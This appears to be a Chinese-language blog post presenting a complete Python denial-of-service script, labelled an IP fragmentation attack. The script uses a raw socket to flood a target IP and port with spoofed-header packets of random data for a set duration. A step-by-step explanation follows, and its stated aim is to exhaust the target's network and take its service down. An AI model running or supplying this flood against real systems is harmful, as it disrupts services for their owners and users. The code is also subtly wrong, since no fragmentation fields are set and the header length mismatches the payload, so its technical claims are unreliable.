banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python之IP分段攻擊詳解

image

python 完整代碼:

import socket
import random
import struct
import time

def ip_frag(target_ip, target_port, duration):
    # 創建原始套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    # 生成隨機數據
    data = random._urandom(1024)

    # 設置IP頭部
    ip_header = struct.pack('!BBHHHBBH4s4s', 69, 0, 28, random.randint(0, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton(target_ip), socket.inet_aton(target_ip))

    # 發送數據
    timeout = time.time() + duration
    sent_packets = 0
    while time.time() < timeout:
        sock.sendto(ip_header + data, (target_ip, target_port))
        sent_packets += 1

    # 關閉套接字
    sock.close()

    # 返回發送數據包的數量
    return sent_packets

# 攻擊目標IP和端口
target_ip = "192.168.1.1"
target_port = 5000

# 攻擊持續時間(秒)
duration = 10

# 開始攻擊
sent_packets = ip_frag(target_ip, target_port, duration)

# 輸出攻擊結果
print("攻擊完成,共發送數據包:{}".format(sent_packets))

本腳本使用 Python 編寫。它通過創建原始套接字並發送 IP 分片數據包來攻擊目標 IP 和端口。

首先,腳本導入了必要的模塊,包括 socket、random、struct 和 time。然後,定義了一個名為 ip_frag 的函數,該函數接受目標 IP、目標端口和攻擊持續時間作為參數。

在函數內部,首先創建了一個原始套接字對象,用於發送原始 IP 數據包。然後,使用 random 模塊生成隨機數據,作為攻擊數據的內容。

接下來,使用 struct 模塊打包 IP 頭部數據。IP 頭部是一個包含各種字段的二進制數據,用於標識和路由 IP 數據包。在這裡,使用 struct.pack 函數按照特定的格式將 IP 頭部的字段打包成二進制數據。

然後,使用一個循環來發送攻擊數據包。循環會在攻擊持續時間內不斷發送數據包。每次發送時,將 IP 頭部和隨機數據包組合起來,使用 sock.sendto 函數發送到目標 IP 和端口。同時,記錄發送的數據包數量。

最後,在攻擊結束後,關閉套接字並返回發送的數據包數量。

腳本的最後部分是主程序。在主程序中,指定了攻擊目標的 IP 和端口,以及攻擊持續時間。然後調用 ip_frag 函數進行攻擊,並將發送的數據包數量打印出來。
在主程序中,指定了攻擊目標的 IP 和端口,以及攻擊持續時間。然後調用 ip_frag 函數進行攻擊,並將發送的數據包數量打印出來。

這個腳本利用原始套接字發送 IP 分片數據包,目的是對特定的目標 IP 地址和端口進行攻擊。它通過不斷發送數據包來消耗目標主機的網絡資源,可能導致目標主機的網絡服務不可用。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。